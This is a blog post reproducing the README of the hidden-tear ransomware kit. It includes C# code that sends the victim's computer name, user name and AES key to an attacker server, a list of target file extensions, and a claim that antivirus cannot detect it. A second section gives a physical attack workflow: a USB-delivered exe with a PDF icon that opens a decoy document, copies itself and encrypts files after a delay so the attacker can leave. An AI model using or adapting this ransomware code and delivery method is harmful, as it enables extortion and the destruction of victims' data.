Pages

Sunday, 3 January 2016

文件加密工具:hidden-tear

it's a file crypter kit.
It's a ransomware-like file crypter sample which can be modified for specific purposes. 
Features
  • Uses AES algorithm to encrypt files.
  • Sends encryption key to a server.
  • Encrypted files can be decrypted in decryption program with encryption key.
  • Creates a text file on Desktop with given message.
  • Small file size (12 KB)
  • Undetectable by antivirus programs (15/08/2015) http://nodistribute.com/result/6a4jDwi83Fzt
Demonstration Video
Usage
  • You need to have a web server which supports scripting languages like php,python etc. Change this line with your URL. (You better use Https connection to avoid eavesdropping)
    string targetURL = "https://www.example.com/hidden-tear/write.php?info=";
  • The script should writes the GET parameter to a text file. Sending process running in SendPassword() function
    string info = computerName + "-" + userName + " " + password;
    var fullUrl = targetURL + info;
    var conent = new System.Net.WebClient().DownloadString(fullUrl);
    
    
  • Target file extensions can be change. Default list:
var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"};

Hidden Tear Offline Edition or: How I Learned to Stop Worrying and Love the Criminal Mind

What if there is a computer with full of important files and what if it has no internet or network connection. We can access it physically. But what if we were being watched, how can we execute hidden tear and get the encryption key?
Demonstration Video
Prerequisites
Firstly you should have a usb stick which includes:
  • exe file of hidden tear offline with a pdf icon.
  • a normal pdf file like hotel reservation, ticket, lecture notes (that depends on your social engineering scenario)
  • a txt file
Workflow
After you plugged usb stick to the computer, double click to .exe file. Don't worry, the normal pdf file will be open.
Hidden tear offline creates an encryption key and saves it into the txt file which is inside your usb stick. After than it copies exe file to the computer and executes. This process will be done in seconds. After than, you can unplug your usb stick.
Hidden tear offline will wait for some time which specified before, lets say 10 minutes. After 10 minutes, it will encrypt all the target files in computer. This part is same with the original hidden tear.
Usage
  • Hidden tear offline will save the encryption key inside this txt file.
string usbPassword = "adobe.txt";
  • It copies itself to this path after the first execution.
string exePath = userDir + userName + "\\table.exe";
  • Name of the normal pdf file.
System.Diagnostics.Process.Start("ticket.pdf");
  • Timer1's interval represents the encryption start time. If you set it to 600000 miliseconds, encryption action will start after 10 minutes the first execution. If you need more time to leave the scene, you can increase the interval.
from https://github.com/utkusen/hidden-tear